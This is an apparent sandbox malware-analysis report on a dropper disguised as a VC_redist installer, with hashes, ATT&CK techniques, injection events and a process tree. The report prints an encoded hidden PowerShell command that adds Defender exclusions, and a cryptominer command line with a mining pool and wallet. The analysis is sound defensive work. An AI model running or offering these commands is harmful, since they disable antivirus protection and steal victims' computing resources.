37f98020a18c5349391aa444259fbe0e33133b612ea1a52612415a484e761064

Analysis

max time kernel
147s
max time network
146s
platform
windows10-2004_x64
resource
win10v2004-20250211-en
resource tags

arch:x64arch:x86image:win10v2004-20250211-enlocale:en-usos:windows10-2004-x64system
submitted
11-02-2025 18:04

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General

Target

37f98020a18c5349391aa444259fbe0e33133b612ea1a52612415a484e761064.exe
Size

3.8MB
MD5

1e9f66938dc65ea07276d1eb137ab047
SHA1

c9d9c8d5069af1689668157fc178bfa947469b97
SHA256

37f98020a18c5349391aa444259fbe0e33133b612ea1a52612415a484e761064
SHA512

00a217e5ce5a9ce4748054dbe82d887a67083f369c59341b9c5459402b871e4180f1455c5197408ea76989dc8e809157cc7c36ead3813048f6313ad226537d81
SSDEEP

98304:Zspwe8EJfdMgg3akDFJBXy2vRfcSpwxzYs7kjhn/JU:zEJfOhqI+2ZU0IBkjhnRU

Score

9^/10

defense_evasion discovery execution

Malware Config

Signatures

Enumerates VirtualBox registry keys 2 TTPs 1 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxSF	VC_redist.x64.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1336	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2508704002-2325818048-3575902788-1000\Control Panel\International\Geo\Nation	37f98020a18c5349391aa444259fbe0e33133b612ea1a52612415a484e761064.exe

Executes dropped EXE 3 IoCs

pid	Process
3564	VC_redist.x86.exe
4636	VC_redist.x64.exe
2944	Method.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2944 set thread context of 4660	2944	Method.exe	96
PID 4660 set thread context of 760	4660	aspnet_compiler.exe	97

Embeds OpenSSL 1 IoCs

Embeds OpenSSL, may be used to circumvent TLS interception.

resource	yara_rule
behavioral2/files/0x000a000000023b57-2646.dat	embeds_openssl

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	37f98020a18c5349391aa444259fbe0e33133b612ea1a52612415a484e761064.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	VC_redist.x64.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1336	powershell.exe
1336	powershell.exe
4636	VC_redist.x64.exe
4636	VC_redist.x64.exe
4636	VC_redist.x64.exe
4636	VC_redist.x64.exe
4636	VC_redist.x64.exe
4636	VC_redist.x64.exe
4636	VC_redist.x64.exe
4636	VC_redist.x64.exe
2944	Method.exe
2944	Method.exe
4660	aspnet_compiler.exe
4660	aspnet_compiler.exe
4660	aspnet_compiler.exe
4660	aspnet_compiler.exe
4660	aspnet_compiler.exe
4660	aspnet_compiler.exe
4660	aspnet_compiler.exe
4660	aspnet_compiler.exe
4660	aspnet_compiler.exe
4660	aspnet_compiler.exe
4660	aspnet_compiler.exe
4660	aspnet_compiler.exe
4660	aspnet_compiler.exe
4660	aspnet_compiler.exe
4660	aspnet_compiler.exe
4660	aspnet_compiler.exe
4660	aspnet_compiler.exe
4660	aspnet_compiler.exe
4660	aspnet_compiler.exe
4660	aspnet_compiler.exe
4660	aspnet_compiler.exe
4660	aspnet_compiler.exe
4660	aspnet_compiler.exe
4660	aspnet_compiler.exe
4660	aspnet_compiler.exe
4660	aspnet_compiler.exe
4660	aspnet_compiler.exe
4660	aspnet_compiler.exe
4660	aspnet_compiler.exe
4660	aspnet_compiler.exe
4660	aspnet_compiler.exe
4660	aspnet_compiler.exe
4660	aspnet_compiler.exe
4660	aspnet_compiler.exe
4660	aspnet_compiler.exe
4660	aspnet_compiler.exe
4660	aspnet_compiler.exe
4660	aspnet_compiler.exe
4660	aspnet_compiler.exe
4660	aspnet_compiler.exe
4660	aspnet_compiler.exe
4660	aspnet_compiler.exe
4660	aspnet_compiler.exe
4660	aspnet_compiler.exe
4660	aspnet_compiler.exe
4660	aspnet_compiler.exe
4660	aspnet_compiler.exe
4660	aspnet_compiler.exe
4660	aspnet_compiler.exe
4660	aspnet_compiler.exe
4660	aspnet_compiler.exe
4660	aspnet_compiler.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	3564	VC_redist.x86.exe
Token: SeDebugPrivilege	1336	powershell.exe
Token: SeDebugPrivilege	2944	Method.exe
Token: SeDebugPrivilege	4660	aspnet_compiler.exe
Token: SeLockMemoryPrivilege	760	AddInProcess.exe
Token: SeLockMemoryPrivilege	760	AddInProcess.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
760	AddInProcess.exe

Suspicious use of WriteProcessMemory 25 IoCs

description	pid	Process	procid_target
PID 3300 wrote to memory of 3564	3300	37f98020a18c5349391aa444259fbe0e33133b612ea1a52612415a484e761064.exe	87
PID 3300 wrote to memory of 3564	3300	37f98020a18c5349391aa444259fbe0e33133b612ea1a52612415a484e761064.exe	87
PID 3300 wrote to memory of 4636	3300	37f98020a18c5349391aa444259fbe0e33133b612ea1a52612415a484e761064.exe	92
PID 3300 wrote to memory of 4636	3300	37f98020a18c5349391aa444259fbe0e33133b612ea1a52612415a484e761064.exe	92
PID 3300 wrote to memory of 4636	3300	37f98020a18c5349391aa444259fbe0e33133b612ea1a52612415a484e761064.exe	92
PID 2944 wrote to memory of 4660	2944	Method.exe	96
PID 2944 wrote to memory of 4660	2944	Method.exe	96
PID 2944 wrote to memory of 4660	2944	Method.exe	96
PID 2944 wrote to memory of 4660	2944	Method.exe	96
PID 2944 wrote to memory of 4660	2944	Method.exe	96
PID 2944 wrote to memory of 4660	2944	Method.exe	96
PID 4660 wrote to memory of 760	4660	aspnet_compiler.exe	97
PID 4660 wrote to memory of 760	4660	aspnet_compiler.exe	97
PID 4660 wrote to memory of 760	4660	aspnet_compiler.exe	97
PID 4660 wrote to memory of 760	4660	aspnet_compiler.exe	97
PID 4660 wrote to memory of 760	4660	aspnet_compiler.exe	97
PID 4660 wrote to memory of 760	4660	aspnet_compiler.exe	97
PID 4660 wrote to memory of 760	4660	aspnet_compiler.exe	97
PID 4660 wrote to memory of 760	4660	aspnet_compiler.exe	97
PID 4660 wrote to memory of 760	4660	aspnet_compiler.exe	97
PID 4660 wrote to memory of 760	4660	aspnet_compiler.exe	97
PID 4660 wrote to memory of 760	4660	aspnet_compiler.exe	97
PID 4660 wrote to memory of 760	4660	aspnet_compiler.exe	97
PID 4660 wrote to memory of 760	4660	aspnet_compiler.exe	97
PID 4660 wrote to memory of 760	4660	aspnet_compiler.exe	97

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\37f98020a18c5349391aa444259fbe0e33133b612ea1a52612415a484e761064.exe
"C:\Users\Admin\AppData\Local\Temp\37f98020a18c5349391aa444259fbe0e33133b612ea1a52612415a484e761064.exe"
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3300
- C:\Users\Admin\AppData\Local\Temp\RarSFX0\VC_redist.x86.exe
  "C:\Users\Admin\AppData\Local\Temp\RarSFX0\VC_redist.x86.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:3564
- C:\Users\Admin\AppData\Local\Temp\RarSFX0\VC_redist.x64.exe
  "C:\Users\Admin\AppData\Local\Temp\RarSFX0\VC_redist.x64.exe"
  2⤵
  - Enumerates VirtualBox registry keys
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  PID:4636

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAUABlAHIAbQBpAHMAcwBpAG8AbgBTAGUAdABcAE0AZQB0AGgAbwBkAC4AZQB4AGUALABDADoAXABXAGkAbgBkAG8AdwBzAFwATQBpAGMAcgBvAHMAbwBmAHQALgBOAEUAVABcAEYAcgBhAG0AZQB3AG8AcgBrADYANABcAHYANAAuADAALgAzADAAMwAxADkAXABBAGQAZABJAG4AUAByAG8AYwBlAHMAcwAuAGUAeABlACwAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXAAgAC0ARgBvAHIAYwBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AC4ATgBFAFQAXABGAHIAYQBtAGUAdwBvAHIAawA2ADQAXAB2ADQALgAwAC4AMwAwADMAMQA5AFwAQQBkAGQASQBuAFAAcgBvAGMAZQBzAHMALgBlAHgAZQAsAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAUABlAHIAbQBpAHMAcwBpAG8AbgBTAGUAdABcAE0AZQB0AGgAbwBkAC4AZQB4AGUA
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1336

C:\Users\Admin\AppData\Roaming\PermissionSet\Method.exe
C:\Users\Admin\AppData\Roaming\PermissionSet\Method.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2944
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe
  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe
  2⤵
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4660
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o rx.unmineable.com:3333 -a rx -k -u RVN:RX3AxWc9oV9n9E9uqRRyXpXh5kNuhqQyc5.RIG_CPU -p x --cpu-max-threads-hint=50
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    PID:760

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Virtualization/Sandbox Evasion

T1497

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\RarSFX0\VC_redist.x64.exe

Filesize
8.9MB

MD5
85ab275356bceff2054ea13155c72784

SHA1
993f669feda60c8dcddb7465cf0a7e650c3d9a4d

SHA256
940dfe413bd0cd025bf1780d7980385e5eb69391b909c60bfd7f3dda2d563256

SHA512
a288df1b95c179c6ae6b0611e1f934354a23a254fb3b374260e594bb02fd29501b34d53f48d94097dc3e110d5882abb833cc9aea7d69e4ebecb4d9fcda6546db

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX0\VC_redist.x86.exe

Filesize
626KB

MD5
abab3febb6ef9c10eb9ecdbebbbc128c

SHA1
cda81cd8994098f779de7e1510049daf667fb844

SHA256
7614eb6c0d335ac226aec01e855d50c683d9b18529dfc066e51b3163c5f54f3d

SHA512
855993982c0660f85ac53defd959f56d912897b5f67afb673dfbf4c1b984abf81ba198ed22553c2aa94f239bcd40e45f7400a7c8c87e79f316f7496cd231db9c

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tofjyfos.hll.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1336-2637-0x000001D6A5230000-0x000001D6A5252000-memory.dmp

Filesize
136KB

Download
memory/2944-5258-0x00000187256E0000-0x0000018725734000-memory.dmp

Filesize
336KB

Download
memory/3564-83-0x00000253F9160000-0x00000253F9253000-memory.dmp

Filesize
972KB

Download
memory/3564-50-0x00000253F9160000-0x00000253F9253000-memory.dmp

Filesize
972KB

Download
memory/3564-52-0x00000253F9160000-0x00000253F9253000-memory.dmp

Filesize
972KB

Download
memory/3564-79-0x00000253F9160000-0x00000253F9253000-memory.dmp

Filesize
972KB

Download
memory/3564-48-0x00000253F9160000-0x00000253F9253000-memory.dmp

Filesize
972KB

Download
memory/3564-46-0x00000253F9160000-0x00000253F9253000-memory.dmp

Filesize
972KB

Download
memory/3564-44-0x00000253F9160000-0x00000253F9253000-memory.dmp

Filesize
972KB

Download
memory/3564-42-0x00000253F9160000-0x00000253F9253000-memory.dmp

Filesize
972KB

Download
memory/3564-40-0x00000253F9160000-0x00000253F9253000-memory.dmp

Filesize
972KB

Download
memory/3564-38-0x00000253F9160000-0x00000253F9253000-memory.dmp

Filesize
972KB

Download
memory/3564-36-0x00000253F9160000-0x00000253F9253000-memory.dmp

Filesize
972KB

Download
memory/3564-34-0x00000253F9160000-0x00000253F9253000-memory.dmp

Filesize
972KB

Download
memory/3564-32-0x00000253F9160000-0x00000253F9253000-memory.dmp

Filesize
972KB

Download
memory/3564-28-0x00000253F9160000-0x00000253F9253000-memory.dmp

Filesize
972KB

Download
memory/3564-26-0x00000253F9160000-0x00000253F9253000-memory.dmp

Filesize
972KB

Download
memory/3564-77-0x00000253F9160000-0x00000253F9253000-memory.dmp

Filesize
972KB

Download
memory/3564-22-0x00000253F9160000-0x00000253F9253000-memory.dmp

Filesize
972KB

Download
memory/3564-20-0x00000253F9160000-0x00000253F9253000-memory.dmp

Filesize
972KB

Download
memory/3564-19-0x00000253F9160000-0x00000253F9253000-memory.dmp

Filesize
972KB

Download
memory/3564-53-0x00007FFFF5A20000-0x00007FFFF64E1000-memory.dmp

Filesize
10.8MB

Download
memory/3564-17-0x00000253DEAF0000-0x00000253DEB92000-memory.dmp

Filesize
648KB

Download
memory/3564-55-0x00000253F9160000-0x00000253F9253000-memory.dmp

Filesize
972KB

Download
memory/3564-24-0x00000253F9160000-0x00000253F9253000-memory.dmp

Filesize
972KB

Download
memory/3564-75-0x00000253F9160000-0x00000253F9253000-memory.dmp

Filesize
972KB

Download
memory/3564-73-0x00000253F9160000-0x00000253F9253000-memory.dmp

Filesize
972KB

Download
memory/3564-71-0x00000253F9160000-0x00000253F9253000-memory.dmp

Filesize
972KB

Download
memory/3564-69-0x00000253F9160000-0x00000253F9253000-memory.dmp

Filesize
972KB

Download
memory/3564-67-0x00000253F9160000-0x00000253F9253000-memory.dmp

Filesize
972KB

Download
memory/3564-65-0x00000253F9160000-0x00000253F9253000-memory.dmp

Filesize
972KB

Download
memory/3564-63-0x00000253F9160000-0x00000253F9253000-memory.dmp

Filesize
972KB

Download
memory/3564-61-0x00000253F9160000-0x00000253F9253000-memory.dmp

Filesize
972KB

Download
memory/3564-59-0x00000253F9160000-0x00000253F9253000-memory.dmp

Filesize
972KB

Download
memory/3564-57-0x00000253F9160000-0x00000253F9253000-memory.dmp

Filesize
972KB

Download
memory/3564-2624-0x00000253DEF30000-0x00000253DEF86000-memory.dmp

Filesize
344KB

Download
memory/3564-2625-0x00000253DEFA0000-0x00000253DEFEC000-memory.dmp

Filesize
304KB

Download
memory/3564-2626-0x00000253E0970000-0x00000253E09C4000-memory.dmp

Filesize
336KB

Download
memory/3564-2627-0x00007FFFF5A23000-0x00007FFFF5A25000-memory.dmp

Filesize
8KB

Download
memory/3564-2628-0x00007FFFF5A20000-0x00007FFFF64E1000-memory.dmp

Filesize
10.8MB

Download
memory/3564-30-0x00000253F9160000-0x00000253F9253000-memory.dmp

Filesize
972KB

Download
memory/3564-18-0x00000253F9160000-0x00000253F9258000-memory.dmp

Filesize
992KB

Download
memory/3564-2643-0x00007FFFF5A20000-0x00007FFFF64E1000-memory.dmp

Filesize
10.8MB

Download
memory/3564-81-0x00000253F9160000-0x00000253F9253000-memory.dmp

Filesize
972KB

Download
memory/3564-16-0x00007FFFF5A23000-0x00007FFFF5A25000-memory.dmp

Filesize
8KB

Download